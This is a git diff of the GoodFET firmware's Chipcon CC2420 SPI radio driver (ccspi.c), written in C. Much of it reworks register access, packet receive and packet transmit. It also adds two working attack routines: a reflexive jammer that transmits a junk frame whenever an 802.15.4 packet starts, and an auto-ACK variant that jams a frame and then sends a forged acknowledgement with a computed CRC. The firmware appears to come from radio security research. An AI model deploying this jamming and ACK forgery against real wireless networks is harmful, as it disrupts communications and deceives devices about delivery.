X-Git-Url: http://git.rot13.org/?p=goodfet;a=blobdiff_plain;f=firmware%2Fapps%2Fradios%2Fccspi.c;h=eb7417ad09784b22521443895a9c56caec3e6a04;hp=ff4661694f2020cc670101b097e20e77d1c1e7b2;hb=350c674c6bcd97ec2f883b07e0cf49eb8a480183;hpb=022d9128fe8a5783e3b804581fe7996d17095ef6

diff --git a/firmware/apps/radios/ccspi.c b/firmware/apps/radios/ccspi.c
index ff46616..eb7417a 100644
--- a/firmware/apps/radios/ccspi.c
+++ b/firmware/apps/radios/ccspi.c
@@ -1,7 +1,7 @@
 /*! \file ccspi.c
   \author Travis Goodspeed
   \brief Chipcon SPI Register Interface
-  
+
   Unfortunately, there is very little similarity between the CC2420
   and the CC2500, to name just two of the myriad of Chipcon SPI
   radios.  Auto-detection will be a bit difficult, but more to the
@@ -12,10 +12,7 @@
 
 #include "platform.h"
 #include "command.h"
-
-#include <signal.h>
-#include <io.h>
-#include <iomacros.h>
+#include <stdlib.h> //added for itoa
 
 #include "ccspi.h"
 #include "spi.h"
@@ -52,12 +49,16 @@ void ccspisetup(){
   SPIDIR|=MOSI+SCK;
   DIRSS;
   DIRCE;
-  
+
   P4OUT|=BIT5; //activate CC2420 voltage regulator
-  P4OUT|=BIT6; //bring CC2420 out of reset
-  
+  msdelay(100);
+
+  //Reset the CC2420.
+  P4OUT&=~BIT6;
+  P4OUT|=BIT6;
+
   //Begin a new transaction.
-  CLRSS; 
+  CLRSS;
   SETSS;
 }
 
@@ -66,7 +67,7 @@ u8 ccspitrans8(u8 byte){
   register unsigned int bit;
   //This function came from the CCSPI Wikipedia article.
   //Minor alterations.
-  
+
   for (bit = 0; bit < 8; bit++) {
     /* write MOSI on trailing edge of previous clock */
     if (byte & 0x80)
@@ -74,14 +75,14 @@ u8 ccspitrans8(u8 byte){
     else
       CLRMOSI;
     byte <<= 1;
- 
+
     SETCLK;
-  
+
     /* read MISO on trailing edge */
     byte |= READMISO;
     CLRCLK;
   }
-  
+
   return byte;
 }
 
@@ -89,22 +90,22 @@ u8 ccspitrans8(u8 byte){
 //! Writes a register
 u8 ccspi_regwrite(u8 reg, const u8 *buf, int len){
   CLRSS;
-  
+
   reg=ccspitrans8(reg);
   while(len--)
     ccspitrans8(*buf++);
-  
+
   SETSS;
   return reg;//status
 }
 //! Reads a register
 u8 ccspi_regread(u8 reg, u8 *buf, int len){
   CLRSS;
-  
+
   reg=ccspitrans8(reg);
   while(len--)
     *buf++=ccspitrans8(0);
-  
+
   SETSS;
   return reg;//status
 }
@@ -114,66 +115,278 @@ void ccspi_handle_fn( uint8_t const app,
 		      uint8_t const verb,
 		      uint32_t const len){
   unsigned long i;
-  
+
   //debugstr("Chipcon SPI handler.");
-  
+
   switch(verb){
+  case PEEK:
+    cmddata[0]|=0x40; //Set the read bit.
+    //DO NOT BREAK HERE.
   case READ:
   case WRITE:
+  case POKE:
     CLRSS; //Drop !SS to begin transaction.
     for(i=0;i<len;i++)
       cmddata[i]=ccspitrans8(cmddata[i]);
     SETSS;  //Raise !SS to end transaction.
     txdata(app,verb,len);
     break;
-
-  case PEEK://Grab CCSPI Register
-    CLRSS; //Drop !SS to begin transaction.
-    cmddata[0]=ccspitrans8(/*CCSPI_R_REGISTER |*/ cmddata[0]); //000A AAAA
-    for(i=1;i<len;i++)
-      cmddata[i]=ccspitrans8(cmddata[i]);
-    SETSS;  //Raise !SS to end transaction.
-    txdata(app,verb,len);
-    break;
-    
-  case POKE://Poke CCSPI Register
-    CLRSS; //Drop !SS to begin transaction.
-    cmddata[0]=ccspitrans8(/* CCSPI_W_REGISTER |*/ 0x40 | cmddata[0]); //02AA AAAA
-    for(i=1;i<len;i++)
-      cmddata[i]=ccspitrans8(cmddata[i]);
-    SETSS;  //Raise !SS to end transaction.
-    txdata(app,verb,len);
-    break;
   case SETUP:
     ccspisetup();
     txdata(app,verb,0);
     break;
   case CCSPI_RX:
-    //Get the packet.
-    CLRSS;
-    ccspitrans8(CCSPI_RXFIFO);
-    for(i=0;i<32;i++)
-      cmddata[i]=ccspitrans8(0xde);
-    SETSS;
-    //no break
-    txdata(app,verb,32);
+#ifdef FIFOP
+    //Has there been an overflow?
+    if((!FIFO)&&FIFOP){
+      debugstr("Clearing overflow");
+      CLRSS;
+      ccspitrans8(0x08); //SFLUSHRX
+      SETSS;
+    }
+
+    //Is there a packet?
+    if(FIFOP&&FIFO){
+      //Wait for completion.
+      while(SFD);
+
+      //Get the packet.
+      CLRSS;
+      ccspitrans8(CCSPI_RXFIFO | 0x40);
+      //ccspitrans8(0x3F|0x40);
+      cmddata[0]=0xff; //to be replaced with length
+      for(i=0;i<cmddata[0]+2;i++)
+        cmddata[i]=ccspitrans8(0xde);
+      SETSS;
+
+      //Flush buffer.
+      CLRSS;
+      ccspitrans8(0x08); //SFLUSHRX
+      SETSS;
+      //Only should transmit length of one more than the reported
+      // length of the frame, which holds the length byte:
+      txdata(app,verb,cmddata[0]+1);
+    }else{
+      //No packet.
+      txdata(app,verb,0);
+    }
+#else
+    debugstr("Can't RX a packet with SFD and FIFOP definitions.");
+    txdata(app,NOK,0);
+#endif
     break;
   case CCSPI_RX_FLUSH:
     //Flush the buffer.
     CLRSS;
     ccspitrans8(CCSPI_SFLUSHRX);
     SETSS;
-    
-    //Return the packet.
-    txdata(app,verb,32);
+
+    txdata(app,verb,0);
     break;
-  case CCSPI_TX:
+
+  case CCSPI_REFLEX:
+#if defined(FIFOP) && defined(SFD) && defined(FIFO) && defined(PLED2DIR) && defined(PLED2PIN) && defined(PLED2OUT)
+    txdata(app,verb,1);  //Just sending some response back to client
+    while(1) {
+        //Wait until a packet is received
+        while(!SFD);
+        //Turn on LED 2 (green) as signal
+	    PLED2DIR |= PLED2PIN;
+	    PLED2OUT &= ~PLED2PIN;
+
+        //Put radio in TX mode
+        CLRSS;
+        ccspitrans8(0x04);
+        SETSS;
+
+        //Load the jamming packet.
+        //Note: attempts to preload this actually slowed the jam time down from 7 to 9 bytes.
+        CLRSS;
+        ccspitrans8(CCSPI_TXFIFO);
+        char pkt[15] = {0x0f, 0x01, 0x08, 0x82, 0xff, 0xff, 0xff, 0xff, 0xde, 0xad, 0xbe, 0xef, 0xba, 0xbe, 0xc0};
+        //char pkt[12] = {0x0c, 0x01, 0x08, 0x82, 0xff, 0xff, 0xff, 0xff, 0xde, 0xad, 0xbe, 0xef};
+        for(i=0;i<pkt[0];i++)
+          ccspitrans8(pkt[i]);
+        SETSS;
+
+        //Transmit the packet.
+        CLRSS;
+        ccspitrans8(0x04); //STXON
+        SETSS;
+        msdelay(100);      //Instead of waiting for pulse on SFD
+        //Flush TX buffer.
+        CLRSS;
+        ccspitrans8(0x09); //SFLUSHTX
+        SETSS;
+
+        //Turn off LED 2 (green) as signal
+	    PLED2DIR |= PLED2PIN;
+	    PLED2OUT |= PLED2PIN;
+    }
+    //TODO the firmware stops staying in this mode after a while, and stops jamming... need to find a fix.
+    break;
+#else
+    debugstr("Can't reflexively jam without SFD, FIFO, FIFOP, and P2LEDx definitions - try using telosb platform.");
+    txdata(app,NOK,0);
+#endif
+
+  case CCSPI_REFLEX_AUTOACK:
+#if defined(FIFOP) && defined(SFD) && defined(FIFO) && defined(PLED2DIR) && defined(PLED2PIN) && defined(PLED2OUT)
+    //txdata(app, verb, 1);
+    debugstr("AutoACK");
+    char byte[4];
+    while(1) {
+        //Has there been an overflow in the RX buffer?
+        if((!FIFO)&&FIFOP){
+          //debugstr("Clearing overflow");
+          CLRSS;
+          ccspitrans8(0x08); //SFLUSHRX
+          SETSS;
+        }
+
+        //Wait until a packet is received
+        while(!SFD);
+        //Turn on LED 2 (green) as signal
+	    PLED2DIR |= PLED2PIN;
+	    PLED2OUT &= ~PLED2PIN;
+
+        //Put radio in TX mode
+        //Note: Not doing this slows down jamming, so can't jam short packets.
+        //      However, if we do this, it seems to mess up our RXFIFO ability.
+        //CLRSS;
+        //ccspitrans8(0x04);
+        //SETSS;
+        //Load the jamming packet
+        CLRSS;
+        ccspitrans8(CCSPI_TXFIFO);
+        char pkt[7] = {0x07, 0x01, 0x08, 0xff, 0xff, 0xff, 0xff};
+        for(i=0;i<pkt[0];i++)
+          ccspitrans8(pkt[i]);
+        SETSS;
+        //Transmit the jamming packet
+        CLRSS;
+        ccspitrans8(0x04);  //STXON
+        SETSS;
+        msdelay(200);       //Instead of examining SFD line status
+        //Flush TX buffer.
+        CLRSS;
+        ccspitrans8(0x09);  //SFLUSHTX
+        SETSS;
+
+        //Get the orignally received packet, up to the seqnum field.
+        CLRSS;
+        ccspitrans8(CCSPI_RXFIFO | 0x40);
+        for(i=0;i<4;i++)
+            cmddata[i]=ccspitrans8(0xde);
+        SETSS;
+        //Flush RX buffer.
+        CLRSS;
+        ccspitrans8(0x08); //SFLUSHRX
+        SETSS;
+        //Send the sequence number of the jammed packet back to the client
+        //itoa(cmddata[3], byte, 16);
+        //debugstr(byte);
+        //txdata(app,verb,cmddata[3]);
+
+        //TODO turn on AUTOCRC for it to apply to the TX???
+        //     this may overcome issues of bad crc / length issues?
+        //mdmctrl0 (0x11) register set bit 5 to true.
+
+        //Create the forged ACK packet
+        cmddata[0] = 6;     //length of ack frame plus length
+        cmddata[1] = 0x02;  //first byte of FCF
+        cmddata[2] = 0x00;  //second byte of FCF
+        //[3] is already filled with the sequence number
+        int crc = 0;
+        for(i=1;i<4;i++) {
+            int c = cmddata[i];
+            int q = (crc ^ c) & 15;   		//Do low-order 4 bits
+            crc = (crc / 16) ^ (q * 4225);
+            q = (crc ^ (c / 16)) & 15;		//And high 4 bits
+            crc = (crc / 16) ^ (q * 4225);
+        }
+        cmddata[4] = crc & 0xFF;
+        cmddata[5] = (crc >> 8) & 0xFF;
+
+        for(i=0;i<cmddata[0];i++) {
+            itoa(cmddata[i], byte, 16);
+            debugstr(byte);
+        }
+        //Load the forged ACK packet
+        CLRSS;
+        ccspitrans8(CCSPI_TXFIFO);
+        for(i=0;i<cmddata[0];i++)
+          ccspitrans8(cmddata[i]);
+        SETSS;
+        //Transmit the forged ACK packet
+        while(SFD);
+        CLRSS;
+        ccspitrans8(0x04);  //STXON
+        SETSS;
+        msdelay(200);       //TODO try doing this based on SFD line status instead
+        //Flush TX buffer
+        CLRSS;
+        ccspitrans8(0x09);  //SFLUSHTX
+        SETSS;
+
+        //TODO disable AUTOCRC here again to go back to promiscous mode
+
+        //Turn off LED 2 (green) as signal
+	    PLED2DIR |= PLED2PIN;
+	    PLED2OUT |= PLED2PIN;
+    }
+    //TODO the firmware stops staying in this mode after a while, and stops jamming... need to find a fix.
+#else
+    debugstr("Can't reflexively jam without SFD, FIFO, FIFOP, and P2LEDx definitions - try using telosb platform.");
+    txdata(app,NOK,0);
+#endif
+    break;
+
   case CCSPI_TX_FLUSH:
+    //Flush the buffer.
+    CLRSS;
+    ccspitrans8(CCSPI_SFLUSHTX);
+    SETSS;
+
+    txdata(app,verb,0);
+    break;
+  case CCSPI_TX:
+#ifdef FIFOP
+
+    //Wait for last packet to TX.
+    //while(ccspi_status()&BIT3);
+
+    //Load the packet.
+    CLRSS;
+    ccspitrans8(CCSPI_TXFIFO);
+    for(i=0;i<cmddata[0];i++)
+      ccspitrans8(cmddata[i]);
+    SETSS;
+
+    //Transmit the packet.
+    CLRSS;
+    ccspitrans8(0x04); //STXON
+    SETSS;
+
+    //Wait for the pulse on SFD, after which the packet has been sent.
+    while(!SFD);
+    while(SFD);
+
+    //Flush TX buffer.
+    CLRSS;
+    ccspitrans8(0x09); //SFLUSHTX
+    SETSS;
+
+    txdata(app,verb,0);
+#else
+    debugstr("Can't TX a packet with SFD and FIFOP definitions.");
+    txdata(app,NOK,0);
+#endif
+    break;
   default:
-    debugstr("Not yet supported.");
+    debugstr("Not yet supported in CCSPI");
     txdata(app,verb,0);
     break;
   }
-  
 
 }